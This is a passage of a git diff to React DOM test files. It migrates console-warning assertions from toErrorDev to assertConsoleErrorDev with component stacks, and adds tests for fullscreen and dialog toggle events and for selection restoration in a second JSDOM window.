+          '    in Child1 (at **)\n' +
+          '    in Parent (at **)',
+        'Invalid event handler property `onclick`. Did you mean `onClick`?\n' +
+          '    in strong (at **)\n' +
+          '    in Child3 (at **)\n' +
+          '    in Parent (at **)',
       ]);
     });
 
@@ -2894,55 +3044,58 @@ describe('ReactDOMComponent', () => {
         }
       }
 
-      expect(() =>
-        ReactDOMServer.renderToString(<Parent />, container),
-      ).toErrorDev([
-        'Invalid DOM property `class`. Did you mean `className`?\n    in span (at **)',
+      ReactDOMServer.renderToString(<Parent />, container);
+      assertConsoleErrorDev([
+        'Invalid DOM property `class`. Did you mean `className`?\n' +
+          '    in span (at **)\n' +
+          '    in Child1 (at **)\n' +
+          '    in Parent (at **)',
         'Invalid event handler property `onclick`. ' +
-          'React events use the camelCase naming convention, for example `onClick`.' +
-          '\n    in strong (at **)',
+          'React events use the camelCase naming convention, for example `onClick`.\n' +
+          '    in strong (at **)\n' +
+          '    in Child3 (at **)\n' +
+          '    in Parent (at **)',
       ]);
     });
 
     it('should suggest property name if available', async () => {
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(React.createElement('label', {for: 'test'}));
-        });
-      }).toErrorDev(
-        'Invalid DOM property `for`. Did you mean `htmlFor`?\n    in label',
-      );
+      let container = document.createElement('div');
+      let root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(React.createElement('label', {for: 'test'}));
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `for`. Did you mean `htmlFor`?\n' +
+          '    in label',
+      ]);
 
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            React.createElement('input', {type: 'text', autofocus: true}),
-          );
-        });
-      }).toErrorDev(
+      container = document.createElement('div');
+      root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
+          React.createElement('input', {type: 'text', autofocus: true}),
+        );
+      });
+      assertConsoleErrorDev([
         'Invalid DOM property `autofocus`. Did you mean `autoFocus`?\n    in input',
-      );
+      ]);
     });
 
     it('should suggest property name if available (ssr)', () => {
-      expect(() =>
-        ReactDOMServer.renderToString(
-          React.createElement('label', {for: 'test'}),
-        ),
-      ).toErrorDev(
-        'Invalid DOM property `for`. Did you mean `htmlFor`?\n    in label',
+      ReactDOMServer.renderToString(
+        React.createElement('label', {for: 'test'}),
       );
-      expect(() =>
-        ReactDOMServer.renderToString(
-          React.createElement('input', {type: 'text', autofocus: true}),
-        ),
-      ).toErrorDev(
-        'Invalid DOM property `autofocus`. Did you mean `autoFocus`?\n    in input',
+      assertConsoleErrorDev([
+        'Invalid DOM property `for`. Did you mean `htmlFor`?\n' +
+          '    in label',
+      ]);
+      ReactDOMServer.renderToString(
+        React.createElement('input', {type: 'text', autofocus: true}),
       );
+      assertConsoleErrorDev([
+        'Invalid DOM property `autofocus`. Did you mean `autoFocus`?\n' +
+          '    in input',
+      ]);
     });
   });
 
@@ -2982,48 +3135,52 @@ describe('ReactDOMComponent', () => {
   describe('Attributes with aliases', function () {
     it('sets aliased attributes on HTML attributes', async function () {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<div class="test" ref={current => (el = current)} />);
-        });
-      }).toErrorDev('Invalid DOM property `class`. Did you mean `className`?');
+      await act(() => {
+        root.render(<div class="test" ref={current => (el = current)} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `class`. Did you mean `className`?\n' +
+          '    in div (at **)',
+      ]);
 
       expect(el.className).toBe('test');
     });
 
     it('sets incorrectly cased aliased attributes on HTML attributes with a warning', async function () {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<div cLASS="test" ref={current => (el = current)} />);
-        });
-      }).toErrorDev('Invalid DOM property `cLASS`. Did you mean `className`?');
+      await act(() => {
+        root.render(<div cLASS="test" ref={current => (el = current)} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `cLASS`. Did you mean `className`?\n' +
+          '    in div (at **)',
+      ]);
 
       expect(el.className).toBe('test');
     });
 
     it('sets aliased attributes on SVG elements with a warning', async function () {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(
-            <svg ref={current => (el = current)}>
-              <text arabic-form="initial" />
-            </svg>,
-          );
-        });
-      }).toErrorDev(
-        'Invalid DOM property `arabic-form`. Did you mean `arabicForm`?',
-      );
+      await act(() => {
+        root.render(
+          <svg ref={current => (el = current)}>
+            <text arabic-form="initial" />
+          </svg>,
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `arabic-form`. Did you mean `arabicForm`?\n' +
+          '    in text (at **)',
+      ]);
       const text = el.querySelector('text');
 
       expect(text.hasAttribute('arabic-form')).toBe(true);
@@ -3099,39 +3256,39 @@ describe('ReactDOMComponent', () => {
 
     it('does not assign a boolean custom attributes as a string', async function () {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<div whatever={true} ref={current => (el = current)} />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<div whatever={true} ref={current => (el = current)} />);
+      });
+      assertConsoleErrorDev([
         'Received `true` for a non-boolean attribute `whatever`.\n\n' +
           'If you want to write it to the DOM, pass a string instead: ' +
-          'whatever="true" or whatever={value.toString()}.',
-      );
+          'whatever="true" or whatever={value.toString()}.\n' +
+          '    in div (at **)',
+      ]);
 
       expect(el.hasAttribute('whatever')).toBe(false);
     });
 
     it('does not assign an implicit boolean custom attributes', async function () {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(
-            // eslint-disable-next-line react/jsx-boolean-value
-            <div whatever ref={current => (el = current)} />,
-          );
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(
+          // eslint-disable-next-line react/jsx-boolean-value
+          <div whatever ref={current => (el = current)} />,
+        );
+      });
+      assertConsoleErrorDev([
         'Received `true` for a non-boolean attribute `whatever`.\n\n' +
           'If you want to write it to the DOM, pass a string instead: ' +
-          'whatever="true" or whatever={value.toString()}.',
-      );
+          'whatever="true" or whatever={value.toString()}.\n' +
+          '    in div (at **)',
+      ]);
 
       expect(el.hasAttribute('whatever')).toBe(false);
     });
@@ -3151,16 +3308,20 @@ describe('ReactDOMComponent', () => {
 
     it('will not assign a function custom attributes', async function () {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(
-            <div whatever={() => {}} ref={current => (el = current)} />,
-          );
-        });
-      }).toErrorDev('Invalid value for prop `whatever` on <div> tag');
+      await act(() => {
+        root.render(
+          <div whatever={() => {}} ref={current => (el = current)} />,
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `whatever` on <div> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in div (at **)',
+      ]);
 
       expect(el.hasAttribute('whatever')).toBe(false);
     });
@@ -3203,59 +3364,55 @@ describe('ReactDOMComponent', () => {
 
     it('allows cased data attributes', async () => {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(
-            <div data-fooBar="true" ref={current => (el = current)} />,
-          );
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<div data-fooBar="true" ref={current => (el = current)} />);
+      });
+      assertConsoleErrorDev([
         'React does not recognize the `data-fooBar` prop on a DOM element. ' +
           'If you intentionally want it to appear in the DOM as a custom ' +
           'attribute, spell it as lowercase `data-foobar` instead. ' +
           'If you accidentally passed it from a parent component, remove ' +
           'it from the DOM element.\n' +
           '    in div (at **)',
-      );
+      ]);
       expect(el.getAttribute('data-foobar')).toBe('true');
     });
 
     it('allows cased custom attributes', async () => {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<div fooBar="true" ref={current => (el = current)} />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<div fooBar="true" ref={current => (el = current)} />);
+      });
+      assertConsoleErrorDev([
         'React does not recognize the `fooBar` prop on a DOM element. ' +
           'If you intentionally want it to appear in the DOM as a custom ' +
           'attribute, spell it as lowercase `foobar` instead. ' +
           'If you accidentally passed it from a parent component, remove ' +
           'it from the DOM element.\n' +
           '    in div (at **)',
-      );
+      ]);
       expect(el.getAttribute('foobar')).toBe('true');
     });
 
     it('warns on NaN attributes', async () => {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<div whatever={NaN} ref={current => (el = current)} />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<div whatever={NaN} ref={current => (el = current)} />);
+      });
+      assertConsoleErrorDev([
         'Received NaN for the `whatever` attribute. If this is ' +
-          'expected, cast the value to a string.\n    in div',
-      );
+          'expected, cast the value to a string.\n' +
+          '    in div',
+      ]);
 
       expect(el.getAttribute('whatever')).toBe('NaN');
     });
@@ -3266,25 +3423,31 @@ describe('ReactDOMComponent', () => {
       await act(() => {
         root.render(<div whatever={0} />);
       });
-      await expect(async () => {
-        await act(() => {
-          root.render(<div whatever={() => {}} />);
-        });
-      }).toErrorDev('Invalid value for prop `whatever` on <div> tag.');
+      await act(() => {
+        root.render(<div whatever={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `whatever` on <div> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in div (at **)',
+      ]);
       const el = container.firstChild;
       expect(el.hasAttribute('whatever')).toBe(false);
     });
 
     it('warns on bad casing of known HTML attributes', async function () {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<div SiZe="30" ref={current => (el = current)} />);
-        });
-      }).toErrorDev('Invalid DOM property `SiZe`. Did you mean `size`?');
+      await act(() => {
+        root.render(<div SiZe="30" ref={current => (el = current)} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `SiZe`. Did you mean `size`?\n' +
+          '    in div (at **)',
+      ]);
 
       expect(el.getAttribute('size')).toBe('30');
     });
@@ -3387,18 +3550,18 @@ describe('ReactDOMComponent', () => {
   describe('String boolean attributes', function () {
     it('does not assign string boolean attributes for custom attributes', async function () {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<div whatever={true} ref={current => (el = current)} />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<div whatever={true} ref={current => (el = current)} />);
+      });
+      assertConsoleErrorDev([
         'Received `true` for a non-boolean attribute `whatever`.\n\n' +
           'If you want to write it to the DOM, pass a string instead: ' +
-          'whatever="true" or whatever={value.toString()}.',
-      );
+          'whatever="true" or whatever={value.toString()}.\n' +
+          '    in div (at **)',
+      ]);
 
       expect(el.hasAttribute('whatever')).toBe(false);
     });
@@ -3447,36 +3610,36 @@ describe('ReactDOMComponent', () => {
   describe('Boolean attributes', function () {
     it('warns on the ambiguous string value "false"', async function () {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<div hidden="false" ref={current => (el = current)} />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<div hidden="false" ref={current => (el = current)} />);
+      });
+      assertConsoleErrorDev([
         'Received the string `false` for the boolean attribute `hidden`. ' +
           'The browser will interpret it as a truthy value. ' +
-          'Did you mean hidden={false}?',
-      );
+          'Did you mean hidden={false}?\n' +
+          '    in div (at **)',
+      ]);
 
       expect(el.getAttribute('hidden')).toBe('');
     });
 
     it('warns on the potentially-ambiguous string value "true"', async function () {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<div hidden="true" ref={current => (el = current)} />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<div hidden="true" ref={current => (el = current)} />);
+      });
+      assertConsoleErrorDev([
         'Received the string `true` for the boolean attribute `hidden`. ' +
           'Although this works, it will not work as expected if you pass the string "false". ' +
-          'Did you mean hidden={true}?',
-      );
+          'Did you mean hidden={true}?\n' +
+          '    in div (at **)',
+      ]);
 
       expect(el.getAttribute('hidden')).toBe('');
     });
@@ -3485,18 +3648,20 @@ describe('ReactDOMComponent', () => {
   describe('Hyphenated SVG elements', function () {
     it('the font-face element is not a custom element', async function () {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(
-            <svg ref={current => (el = current)}>
-              <font-face x-height={false} />
-            </svg>,
-          );
-        });
-      }).toErrorDev('Invalid DOM property `x-height`. Did you mean `xHeight`');
+      await act(() => {
+        root.render(
+          <svg ref={current => (el = current)}>
+            <font-face x-height={false} />
+          </svg>,
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `x-height`. Did you mean `xHeight`?\n' +
+          '    in font-face (at **)',
+      ]);
 
       expect(el.querySelector('font-face').hasAttribute('x-height')).toBe(
         false,
@@ -3505,24 +3670,24 @@ describe('ReactDOMComponent', () => {
 
     it('the font-face element does not allow unknown boolean values', async function () {
       let el;
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(
-            <svg ref={current => (el = current)}>
-              <font-face whatever={false} />
-            </svg>,
-          );
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(
+          <svg ref={current => (el = current)}>
+            <font-face whatever={false} />
+          </svg>,
+        );
+      });
+      assertConsoleErrorDev([
         'Received `false` for a non-boolean attribute `whatever`.\n\n' +
           'If you want to write it to the DOM, pass a string instead: ' +
           'whatever="false" or whatever={value.toString()}.\n\n' +
           'If you used to conditionally omit it with whatever={condition && value}, ' +
-          'pass whatever={condition ? value : undefined} instead.',
-      );
+          'pass whatever={condition ? value : undefined} instead.\n' +
+          '    in font-face (at **)',
+      ]);
 
       expect(el.querySelector('font-face').hasAttribute('whatever')).toBe(
         false,
diff --git a/packages/react-dom/src/__tests__/ReactDOMComponentTree-test.js b/packages/react-dom/src/__tests__/ReactDOMComponentTree-test.js
index e0b2b741dd6c..4dec7df2faaf 100644
--- a/packages/react-dom/src/__tests__/ReactDOMComponentTree-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMComponentTree-test.js
@@ -14,11 +14,14 @@ describe('ReactDOMComponentTree', () => {
   let ReactDOMClient;
   let act;
   let container;
+  let assertConsoleErrorDev;
 
   beforeEach(() => {
     React = require('react');
     ReactDOMClient = require('react-dom/client');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
 
     container = document.createElement('div');
     document.body.appendChild(container);
@@ -190,18 +193,18 @@ describe('ReactDOMComponentTree', () => {
       root.render(<Controlled />);
     });
 
-    await expect(
-      async () =>
-        await act(() => {
-          simulateInput(inputRef.current, finishValue);
-        }),
-    ).toErrorDev(
+    await act(() => {
+      simulateInput(inputRef.current, finishValue);
+    });
+    assertConsoleErrorDev([
       'A component is changing an uncontrolled input to be controlled. ' +
         'This is likely caused by the value changing from undefined to ' +
         'a defined value, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: ' +
-        'https://react.dev/link/controlled-components',
-    );
+        'https://react.dev/link/controlled-components\n' +
+        '    in input (at **)\n' +
+        '    in Controlled (at **)',
+    ]);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMConsoleErrorReporting-test.js b/packages/react-dom/src/__tests__/ReactDOMConsoleErrorReporting-test.js
index 9eeb4e7c072a..2aca1e058846 100644
--- a/packages/react-dom/src/__tests__/ReactDOMConsoleErrorReporting-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMConsoleErrorReporting-test.js
@@ -143,7 +143,8 @@ describe('ReactDOMConsoleErrorReporting', () => {
             expect.stringContaining('%s'),
             expect.stringContaining('An error occurred in the <Foo> component'),
             expect.stringContaining('Consider adding an error boundary'),
-            expect.stringContaining('Foo'),
+            // The component stack is not added without the polyfill/devtools.
+            // expect.stringContaining('Foo'),
           ],
         ]);
       } else {
@@ -208,7 +209,8 @@ describe('ReactDOMConsoleErrorReporting', () => {
               'The above error occurred in the <Foo> component',
             ),
             expect.stringContaining('ErrorBoundary'),
-            expect.stringContaining('Foo'),
+            // The component stack is not added without the polyfill/devtools.
+            // expect.stringContaining('Foo'),
           ],
         ]);
       } else {
@@ -274,7 +276,8 @@ describe('ReactDOMConsoleErrorReporting', () => {
             expect.stringContaining('%s'),
             expect.stringContaining('An error occurred in the <Foo> component'),
             expect.stringContaining('Consider adding an error boundary'),
-            expect.stringContaining('Foo'),
+            // The component stack is not added without the polyfill/devtools.
+            // expect.stringContaining('Foo'),
           ],
         ]);
       } else {
@@ -344,7 +347,8 @@ describe('ReactDOMConsoleErrorReporting', () => {
               'The above error occurred in the <Foo> component',
             ),
             expect.stringContaining('ErrorBoundary'),
-            expect.stringContaining('Foo'),
+            // The component stack is not added without the polyfill/devtools.
+            // expect.stringContaining('Foo'),
           ],
         ]);
       } else {
@@ -410,7 +414,8 @@ describe('ReactDOMConsoleErrorReporting', () => {
             expect.stringContaining('%s'),
             expect.stringContaining('An error occurred in the <Foo> component'),
             expect.stringContaining('Consider adding an error boundary'),
-            expect.stringContaining('Foo'),
+            // The component stack is not added without the polyfill/devtools.
+            // expect.stringContaining('Foo'),
           ],
         ]);
       } else {
@@ -478,7 +483,8 @@ describe('ReactDOMConsoleErrorReporting', () => {
               'The above error occurred in the <Foo> component',
             ),
             expect.stringContaining('ErrorBoundary'),
-            expect.stringContaining('Foo'),
+            // The component stack is not added without the polyfill/devtools.
+            // expect.stringContaining('Foo'),
           ],
         ]);
       } else {
diff --git a/packages/react-dom/src/__tests__/ReactDOMConsoleErrorReportingLegacy-test.js b/packages/react-dom/src/__tests__/ReactDOMConsoleErrorReportingLegacy-test.js
index 65301c789d0f..99bfeac56b1d 100644
--- a/packages/react-dom/src/__tests__/ReactDOMConsoleErrorReportingLegacy-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMConsoleErrorReportingLegacy-test.js
@@ -162,7 +162,8 @@ describe('ReactDOMConsoleErrorReporting', () => {
             // Addendum by React:
             expect.stringContaining('An error occurred in the <Foo> component'),
             expect.stringContaining('Consider adding an error boundary'),
-            expect.stringContaining('Foo'),
+            // The component stack is not added without the polyfill/devtools.
+            // expect.stringContaining('Foo'),
           ],
         ]);
 
@@ -239,7 +240,8 @@ describe('ReactDOMConsoleErrorReporting', () => {
               'The above error occurred in the <Foo> component',
             ),
             expect.stringContaining('ErrorBoundary'),
-            expect.stringContaining('Foo'),
+            // The component stack is not added without the polyfill/devtools.
+            // expect.stringContaining('Foo'),
           ],
         ]);
       } else {
@@ -309,7 +311,8 @@ describe('ReactDOMConsoleErrorReporting', () => {
             // Addendum by React:
             expect.stringContaining('An error occurred in the <Foo> component'),
             expect.stringContaining('Consider adding an error boundary'),
-            expect.stringContaining('Foo'),
+            // The component stack is not added without the polyfill/devtools.
+            // expect.stringContaining('Foo'),
           ],
         ]);
 
@@ -390,7 +393,8 @@ describe('ReactDOMConsoleErrorReporting', () => {
               'The above error occurred in the <Foo> component',
             ),
             expect.stringContaining('ErrorBoundary'),
-            expect.stringContaining('Foo'),
+            // The component stack is not added without the polyfill/devtools.
+            // expect.stringContaining('Foo'),
           ],
         ]);
       } else {
@@ -460,7 +464,8 @@ describe('ReactDOMConsoleErrorReporting', () => {
             // Addendum by React:
             expect.stringContaining('An error occurred in the <Foo> component'),
             expect.stringContaining('Consider adding an error boundary'),
-            expect.stringContaining('Foo'),
+            // The component stack is not added without the polyfill/devtools.
+            // expect.stringContaining('Foo'),
           ],
         ]);
 
@@ -540,7 +545,8 @@ describe('ReactDOMConsoleErrorReporting', () => {
               'The above error occurred in the <Foo> component',
             ),
             expect.stringContaining('ErrorBoundary'),
-            expect.stringContaining('Foo'),
+            // The component stack is not added without the polyfill/devtools.
+            // expect.stringContaining('Foo'),
           ],
         ]);
       } else {
diff --git a/packages/react-dom/src/__tests__/ReactDOMEventPropagation-test.js b/packages/react-dom/src/__tests__/ReactDOMEventPropagation-test.js
index 159832934007..752c8bba961b 100644
--- a/packages/react-dom/src/__tests__/ReactDOMEventPropagation-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMEventPropagation-test.js
@@ -672,9 +672,10 @@ describe('ReactDOMEventListener', () => {
         reactEventType: 'submit',
         nativeEvent: 'submit',
         dispatch(node) {
-          const e = new Event('submit', {
+          const e = new SubmitEvent('submit', {
             bubbles: true,
             cancelable: true,
+            submitter: null,
           });
           node.dispatchEvent(e);
         },
@@ -833,6 +834,40 @@ describe('ReactDOMEventListener', () => {
         },
       });
     });
+
+    it('onFullscreenChange', async () => {
+      await testNativeBubblingEvent({
+        type: 'div',
+        reactEvent: 'onFullscreenChange',
+        reactEventType: 'fullscreenchange',
+        nativeEvent: 'fullscreenchange',
+        dispatch(node) {
+          node.dispatchEvent(
+            new Event('fullscreenchange', {
+              bubbles: true,
+              cancelable: false,
+            }),
+          );
+        },
+      });
+    });
+
+    it('onFullscreenError', async () => {
+      await testNativeBubblingEvent({
+        type: 'div',
+        reactEvent: 'onFullscreenError',
+        reactEventType: 'fullscreenerror',
+        nativeEvent: 'fullscreenerror',
+        dispatch(node) {
+          node.dispatchEvent(
+            new Event('fullscreenerror', {
+              bubbles: true,
+              cancelable: false,
+            }),
+          );
+        },
+      });
+    });
   });
 
   describe('non-bubbling events that bubble in React', () => {
@@ -1302,6 +1337,38 @@ describe('ReactDOMEventListener', () => {
       });
     });
 
+    it('onBeforeToggle Dialog API', async () => {
+      await testEmulatedBubblingEvent({
+        type: 'dialog',
+        reactEvent: 'onBeforeToggle',
+        reactEventType: 'beforetoggle',
+        nativeEvent: 'beforetoggle',
+        dispatch(node) {
+          const e = new Event('beforetoggle', {
+            bubbles: false,
+            cancelable: true,
+          });
+          node.dispatchEvent(e);
+        },
+      });
+    });
+
+    it('onToggle Dialog API', async () => {
+      await testEmulatedBubblingEvent({
+        type: 'dialog',
+        reactEvent: 'onToggle',
+        reactEventType: 'toggle',
+        nativeEvent: 'toggle',
+        dispatch(node) {
+          const e = new Event('toggle', {
+            bubbles: false,
+            cancelable: true,
+          });
+          node.dispatchEvent(e);
+        },
+      });
+    });
+
     it('onVolumeChange', async () => {
       await testEmulatedBubblingEvent({
         type: 'video',
diff --git a/packages/react-dom/src/__tests__/ReactDOMFiber-test.js b/packages/react-dom/src/__tests__/ReactDOMFiber-test.js
index a1633fa1e625..87cc13653039 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFiber-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFiber-test.js
@@ -13,23 +13,36 @@ let React;
 let ReactDOM;
 let PropTypes;
 let ReactDOMClient;
-let root;
 let Scheduler;
+
 let act;
+let assertConsoleErrorDev;
 let assertLog;
+let root;
+let JSDOM;
 
 describe('ReactDOMFiber', () => {
   let container;
 
   beforeEach(() => {
     jest.resetModules();
+
+    // JSDOM needs to be setup with a TextEncoder and TextDecoder when used standalone
+    // https://github.com/jsdom/jsdom/issues/2524
+    (() => {
+      const {TextEncoder, TextDecoder} = require('util');
+      global.TextEncoder = TextEncoder;
+      global.TextDecoder = TextDecoder;
+      JSDOM = require('jsdom').JSDOM;
+    })();
+
     React = require('react');
     ReactDOM = require('react-dom');
     PropTypes = require('prop-types');
     ReactDOMClient = require('react-dom/client');
     Scheduler = require('scheduler');
     act = require('internal-test-utils').act;
-    assertLog = require('internal-test-utils').assertLog;
+    ({assertConsoleErrorDev, assertLog} = require('internal-test-utils'));
 
     container = document.createElement('div');
     document.body.appendChild(container);
@@ -732,6 +745,14 @@ describe('ReactDOMFiber', () => {
     await act(async () => {
       root.render(<Parent />);
     });
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+      'Component uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+    ]);
     expect(container.innerHTML).toBe('');
     expect(portalContainer.innerHTML).toBe('<div>bar</div>');
   });
@@ -940,15 +961,14 @@ describe('ReactDOMFiber', () => {
         return <div onClick="woops" />;
       }
     }
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Example />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<Example />);
+    });
+    assertConsoleErrorDev([
       'Expected `onClick` listener to be a function, instead got a value of `string` type.\n' +
         '    in div (at **)\n' +
         '    in Example (at **)',
-    );
+    ]);
   });
 
   it('should warn with a special message for `false` event listeners', () => {
@@ -957,17 +977,16 @@ describe('ReactDOMFiber', () => {
         return <div onClick={false} />;
       }
     }
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Example />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<Example />);
+    });
+    assertConsoleErrorDev([
       'Expected `onClick` listener to be a function, instead got `false`.\n\n' +
         'If you used to conditionally omit it with onClick={condition && value}, ' +
         'pass onClick={condition ? value : undefined} instead.\n' +
         '    in div (at **)\n' +
         '    in Example (at **)',
-    );
+    ]);
   });
 
   it('should not update event handlers until commit', async () => {
@@ -1266,4 +1285,48 @@ describe('ReactDOMFiber', () => {
     });
     expect(didCallOnChange).toBe(true);
   });
+
+  it('should restore selection in the correct window', async () => {
+    // creating new JSDOM instance to get a second window as window.open is not implemented
+    // https://github.com/jsdom/jsdom/blob/c53efc81e75f38a0558fbf3ed75d30b78b4c4898/lib/jsdom/browser/Window.js#L987
+    const {window: newWindow} = new JSDOM('');
+    // creating a new container since the default cleanup expects the existing container to be in the document
+    const newContainer = newWindow.document.createElement('div');
+    newWindow.document.body.appendChild(newContainer);
+    root = ReactDOMClient.createRoot(newContainer);
+
+    const Test = () => {
+      const [reverse, setReverse] = React.useState(false);
+      const [items] = React.useState(() => ['a', 'b', 'c']);
+      const onClick = () => {
+        setReverse(true);
+      };
+
+      // shuffle the items so that the react commit needs to restore focus
+      // to the correct element after commit
+      const itemsToRender = reverse ? items.reverse() : items;
+
+      return (
+        <div>
+          {itemsToRender.map(item => (
+            <button onClick={onClick} key={item} id={item}>
+              {item}
+            </button>
+          ))}
+        </div>
+      );
+    };
+
+    await act(() => {
+      root.render(<Test />);
+    });
+
+    newWindow.document.getElementById('a').focus();
+    await act(() => {
+      newWindow.document.getElementById('a').click();
+    });
+
+    expect(newWindow.document.activeElement).not.toBe(newWindow.document.body);
+    expect(newWindow.document.activeElement.innerHTML).toBe('a');
+  });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMFiberAsync-test.js b/packages/react-dom/src/__tests__/ReactDOMFiberAsync-test.js
index cf47e867da7f..c1dc8a33cceb 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFiberAsync-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFiberAsync-test.js
@@ -19,6 +19,7 @@ let waitForAll;
 let waitFor;
 let waitForMicrotasks;
 let assertLog;
+let assertConsoleErrorDev;
 
 const setUntrackedInputValue = Object.getOwnPropertyDescriptor(
   HTMLInputElement.prototype,
@@ -34,6 +35,8 @@ describe('ReactDOMFiberAsync', () => {
     ReactDOM = require('react-dom');
     ReactDOMClient = require('react-dom/client');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
     Scheduler = require('scheduler');
 
     const InternalTestUtils = require('internal-test-utils');
@@ -176,11 +179,15 @@ describe('ReactDOMFiberAsync', () => {
       root.render(<Component />);
     });
     // Update
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Component />);
-      });
-    }).toErrorDev('flushSync was called from inside a lifecycle method');
+    ReactDOM.flushSync(() => {
+      root.render(<Component />);
+    });
+    assertConsoleErrorDev([
+      'flushSync was called from inside a lifecycle method. ' +
